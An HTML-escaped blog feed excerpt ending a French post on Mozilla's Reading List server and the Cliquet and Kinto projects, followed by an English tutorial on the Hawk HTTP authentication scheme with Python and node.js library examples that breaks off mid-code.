&lt;p&gt;Ici, le cœur du serveur &lt;em&gt;Reading List&lt;/em&gt; est justement une &lt;span class="caps"&gt;API&lt;/span&gt; &amp;#8220;&lt;span class="caps"&gt;CRUD&lt;/span&gt;&amp;#8221; (Create,
Retrieve, Update, Delete), qui gère de la synchronisation et de
l&amp;#8217;authentification. Nous avons donc pris le parti de faire une &lt;span class="caps"&gt;API&lt;/span&gt; &amp;#8220;simple&amp;#8221;,
avec le moins de spécificités possible, qui poserait les bases d&amp;#8217;un service
générique. Notamment parce qu&amp;#8217;il y a d&amp;#8217;autres projets dans la même trempe qui vont&amp;nbsp;suivre.&lt;/p&gt;
&lt;p&gt;Pas mal d&amp;#8217;expérience ayant été accumulée au sein de l&amp;#8217;équipe, avec d&amp;#8217;une part la
création de &lt;em&gt;Firefox Sync&lt;/em&gt;, et d&amp;#8217;autre part avec &lt;em&gt;Daybed&lt;/em&gt;, notre side-project, nous
tentons de ne pas reproduire les mêmes erreurs, tout en gardant les concepts
qui ont fait leurs&amp;nbsp;preuves.&lt;/p&gt;
&lt;p&gt;Par exemple, nous avons conservé le mécanisme de collections d&amp;#8217;enregistrements
et de &lt;em&gt;timestamp&lt;/em&gt; de &lt;em&gt;Sync&lt;/em&gt;. Comme ces problématiques sont récurrentes, voire
incontournables, nous avons décidé de reprendre le protocole de synchronisation,
de l&amp;#8217;étendre légèrement et surtout de le dissocier du projet de listes de&amp;nbsp;lecture.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="le-mecanisme-qui-force-a-aller-de-l-avant"&gt;
&lt;h2&gt;Le mécanisme qui force à aller de&amp;nbsp;l&amp;#8217;avant&lt;/h2&gt;
&lt;p&gt;Comme première pierre à l&amp;#8217;édifice, nous avons donné naissance au projet
&lt;a class="reference external" href="https://cliquet.readthedocs.org"&gt;Cliquet&lt;/a&gt;, dont l&amp;#8217;idée principale est de
fournir une implémentation de ce protocole en python, tout en factorisant
l&amp;#8217;ensemble de nos bonnes pratiques (pour la prod&amp;nbsp;notamment).&lt;/p&gt;
&lt;img alt="Logo du projet Cliquet" class="align-right" src="https://blog.notmyidea.org/images/cliquet/cliquet-logo.png" /&gt;
&lt;p&gt;L&amp;#8217;avantage d&amp;#8217;avoir un protocole plutôt qu&amp;#8217;un monolithe, c&amp;#8217;est que si vous
préférez Asyncio, io.js ou Go, on vous encouragera à publier votre
implémentation alternative&amp;nbsp;!&lt;/p&gt;
&lt;p&gt;Avec &lt;em&gt;Cliquet&lt;/em&gt;, le code du serveur liste de lecture consiste principalement
à définir un schéma pour les enregistrements, puis à forcer des valeurs de
champs sur certains appels. Cela réduit ce projet à quelques dizaines de lignes
de&amp;nbsp;code.&lt;/p&gt;
&lt;p&gt;Quant au futur service de stockage générique, &lt;a class="reference external" href="http://kinto.readthedocs.org"&gt;le projet&lt;/a&gt; en est encore à ses balbutiements mais c&amp;#8217;est
bel et bien en route ! Il permet déjà d&amp;#8217;être branché comme backend de stockage
dans une application &lt;em&gt;Cliquet&lt;/em&gt;, et ça &lt;a class="reference external" href="https://github.com/mozilla-services/kinto/blob/0.2.1/kinto/views/collection.py"&gt;implémenté en 20 lignes de code&lt;/a&gt;!&lt;/p&gt;
&lt;p&gt;Ah, et cette fois, nous ne construirons les fonctionnalités qu&amp;#8217;à partir des
besoins concrets qui surviennent. Ça paraît tout bête, mais sur &lt;em&gt;Daybed&lt;/em&gt; on
l&amp;#8217;a pas vu venir&amp;nbsp;:)&lt;/p&gt;
&lt;p&gt;Dans les prochains articles, nous avons prévu de décrire les bonnes pratiques
rassemblées dans le protocole (ou &lt;em&gt;Cliquet&lt;/em&gt;), certains points techniques précis
et de vous présenter notre vision via des exemples et&amp;nbsp;tutoriaux.&lt;/p&gt;
&lt;p&gt;À bientôt, donc&amp;nbsp;!&lt;/p&gt;
&lt;/div&gt;
</content><category term="code"></category></entry><entry><title>What’s Hawk and how to use it?</title><link href="https://blog.notmyidea.org/whats-hawk-and-how-to-use-it.html" rel="alternate"></link><published>2014-07-31T00:00:00+02:00</published><updated>2014-07-31T00:00:00+02:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2014-07-31:/whats-hawk-and-how-to-use-it.html</id><summary type="html">
&lt;p&gt;At Mozilla, we recently had to implement &lt;a href="https://github.com/hueniverse/hawk"&gt;the Hawk authentication
scheme&lt;/a&gt; for a number of projects,
and we came up creating two libraries to ease integration into pyramid
and node.js&amp;nbsp;apps.&lt;/p&gt;
&lt;p&gt;But maybe you don&amp;#8217;t know&amp;nbsp;Hawk.&lt;/p&gt;
&lt;p&gt;Hawk is a relatively new technology, crafted by one of the …&lt;/p&gt;</summary><content type="html">
&lt;p&gt;At Mozilla, we recently had to implement &lt;a href="https://github.com/hueniverse/hawk"&gt;the Hawk authentication
scheme&lt;/a&gt; for a number of projects,
and we came up creating two libraries to ease integration into pyramid
and node.js&amp;nbsp;apps.&lt;/p&gt;
&lt;p&gt;But maybe you don&amp;#8217;t know&amp;nbsp;Hawk.&lt;/p&gt;
&lt;p&gt;Hawk is a relatively new technology, crafted by one of the original
&lt;a href="https://en.wikipedia.org/wiki/OAuth"&gt;OAuth&lt;/a&gt; specification authors, that
intends to replace the 2-legged OAuth authentication scheme using a
simpler&amp;nbsp;approach.&lt;/p&gt;
&lt;p&gt;It is an authentication scheme for &lt;span class="caps"&gt;HTTP&lt;/span&gt;, built around &lt;a href="https://en.wikipedia.org/wiki/Hmac"&gt;&lt;span class="caps"&gt;HMAC&lt;/span&gt;
digests&lt;/a&gt; of requests and&amp;nbsp;responses.&lt;/p&gt;
&lt;p&gt;Every authenticated client request has an Authorization header
containing a &lt;span class="caps"&gt;MAC&lt;/span&gt; (Message Authentication Code) and some additional
metadata, then each server response to authenticated requests contains a
Server-Authorization header that authenticates the response, so the
client is sure it comes from the right&amp;nbsp;server.&lt;/p&gt;
&lt;h2 id="exchange-of-the-hawk-id-and-hawk-key"&gt;Exchange of the hawk id and hawk&amp;nbsp;key&lt;/h2&gt;
&lt;p&gt;To sign the requests, a client needs to retrieve a token id and a token
key from the&amp;nbsp;server.&lt;/p&gt;
&lt;p&gt;Hawk itself does not define how these credentials should be exchanged
between the server and the client. The excellent team behind &lt;a href="http://accounts.firefox.com"&gt;Firefox
Accounts&lt;/a&gt; put together a scheme to do that,
which acts like the&amp;nbsp;following:&lt;/p&gt;
&lt;div class="note"&gt;

&lt;div class="admonition-title"&gt;

Note

&lt;/div&gt;

All this derivation crazyness might seem a bit complicated, but don&amp;#8217;t
worry, we put together some libraries that takes care of that for you
automatically.

If you are not interested into these details, you can directly jump to
the next section to see how to use the libraries.

&lt;/div&gt;

&lt;p&gt;When your server application needs to send you the credentials, it will
return it inside a specific Hawk-Session-Token header. This token can be
derived to split this string in two values (hawk id and hawk key) that
you will use to sign your next&amp;nbsp;requests.&lt;/p&gt;
&lt;p&gt;In order to get the hawk credentials, you&amp;#8217;ll need&amp;nbsp;to:&lt;/p&gt;
&lt;p&gt;First, do an &lt;a href="http://en.wikipedia.org/wiki/HKDF"&gt;&lt;span class="caps"&gt;HKDF&lt;/span&gt; derivation&lt;/a&gt; on the
given session token. You&amp;#8217;ll need to use the following&amp;nbsp;parameters:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;key_material = HKDF(hawk_session, &amp;quot;&amp;quot;, &amp;#39;identity.mozilla.com/picl/v1/sessionToken&amp;#39;, 32*2)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;div class="note"&gt;

&lt;div class="admonition-title"&gt;

Note

&lt;/div&gt;

The `identity.mozilla.com/picl/v1/sessionToken` is a reference to this
way of deriving the credentials, not an actual &lt;span class="caps"&gt;URL&lt;/span&gt;.

&lt;/div&gt;

&lt;p&gt;Then, the key material you&amp;#8217;ll get out of the &lt;span class="caps"&gt;HKDF&lt;/span&gt; need to be separated
into two parts, the first 32 hex caracters are the hawk id, and the next
32 ones are the hawk&amp;nbsp;key.&lt;/p&gt;
&lt;p&gt;Credentials:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;javascript
credentials = {
    &amp;#39;id&amp;#39;: keyMaterial[0:32],
    &amp;#39;key&amp;#39;: keyMaterial[32:64],
    &amp;#39;algorithm&amp;#39;: &amp;#39;sha256&amp;#39;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="httpie"&gt;Httpie&lt;/h2&gt;
&lt;p&gt;To showcase APIs in the documentation, I like to use
&lt;a href="https://github.com/jakubroztocil/httpie"&gt;httpie&lt;/a&gt;, a curl-replacement
with a nicer &lt;span class="caps"&gt;API&lt;/span&gt;, built around &lt;a href="http://python-requests.org"&gt;the python requests
library&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Luckily, HTTPie allows you to plug different authentication schemes for
it, so &lt;a href="https://github.com/mozilla-services/requests-hawk"&gt;I wrote a
wrapper&lt;/a&gt; around
&lt;a href="https://github.com/kumar303/mohawk"&gt;mohawk&lt;/a&gt; to add hawk support to the
requests&amp;nbsp;lib.&lt;/p&gt;
&lt;p&gt;Doing hawk requests in your terminal is now as simple&amp;nbsp;as:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;pip&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;requests-hawk&lt;span class="w"&gt; &lt;/span&gt;httpie
$&lt;span class="w"&gt; &lt;/span&gt;http&lt;span class="w"&gt; &lt;/span&gt;GET&lt;span class="w"&gt; &lt;/span&gt;localhost:5000/registration&lt;span class="w"&gt; &lt;/span&gt;--auth-type&lt;span class="o"&gt;=&lt;/span&gt;hawk&lt;span class="w"&gt; &lt;/span&gt;--auth&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;id:key&amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;In addition, it will help you to craft requests using the requests&amp;nbsp;library:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;requests&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;requests_hawk&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;HawkAuth&lt;/span&gt;

&lt;span class="n"&gt;hawk_auth&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;HawkAuth&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="n"&gt;credentials&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;id&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;key&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;algorithm&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;sha256&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;

&lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;/url&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;hawk_auth&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Alternatively, if you don&amp;#8217;t have the token id and key, you can pass the
hawk session token I talked about earlier and the lib will take care of
the derivation for&amp;nbsp;you:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;hawk_auth&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;HawkAuth&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;hawk_session&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;hawk-session-token&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="n"&gt;server_url&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;server_url&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;/url&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;hawk_auth&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="integrate-with-python-pyramid-apps"&gt;Integrate with python pyramid&amp;nbsp;apps&lt;/h2&gt;
&lt;p&gt;If you&amp;#8217;re writing pyramid applications, you&amp;#8217;ll be happy to learn that
&lt;a href="https://www.rfk.id.au/blog/"&gt;Ryan Kelly&lt;/a&gt; put together a library that
makes Hawk work as an Authentication provider for them. I&amp;#8217;m chocked how
simple it is to use&amp;nbsp;it.&lt;/p&gt;
&lt;p&gt;Here is a demo of how we implemented it for&amp;nbsp;Daybed:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;pyramid_hawkauth&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;HawkAuthenticationPolicy&lt;/span&gt;

&lt;span class="n"&gt;policy&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;HawkAuthenticationPolicy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;decode_hawk_id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;get_hawk_id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;config&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;set_authentication_policy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;authn_policy&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The get_hawk_id function is a function that takes a request and a
tokenid and returns a tuple of (token_id,&amp;nbsp;token_key).&lt;/p&gt;
&lt;p&gt;How you want to store the tokens and retrieve them is up to you. The
default implementation (e.g. if you don&amp;#8217;t pass a decode_hawk_id
function) decodes the key from the token itself, using a master secret
on the server (so you don&amp;#8217;t need to store&amp;nbsp;anything).&lt;/p&gt;
&lt;h2 id="integrate-with-nodejs-express-apps"&gt;Integrate with node.js Express&amp;nbsp;apps&lt;/h2&gt;
&lt;p&gt;We had to implement Hawk authentication for two node.js projects and
finally came up factorizing everything in a library for express, named
&lt;a href="https://github.com/mozilla-services/express-hawkauth"&gt;express-hawkauth&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;In order to plug it in your application, you&amp;#8217;ll need to use it as a&amp;nbsp;middleware:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;javascript&lt;/span&gt;
&lt;span class="k"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;express&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;express&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hawk&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;express-hawkauth&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;app&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;express&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="k"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hawkMiddleware&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hawk&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;getMiddleware&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;hawkOptions&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{},&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;getSession&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tokenId&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cb&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;A&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;which&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;pass&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cb&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;and&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;algorithm&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;given&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;First&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;argument&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;of&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;callback&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;is&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;potential&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cb&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb nb-Type"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;key&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;algorithm&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;sha256&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;createSession&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cb&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;A&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;which&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;stores&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;given&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;and&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Argument&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;returned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;is&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;potential&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cb&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb nb-Type"&gt;null&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;setUser&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;res&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tokenId&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cb&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;A&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;that&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;uses&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;and&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;res&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hawkId&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;when&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;they&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;re known so&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;that&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;it&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;can&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tweak&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;it&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;For&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;instance&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;you&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;can&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;store&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; 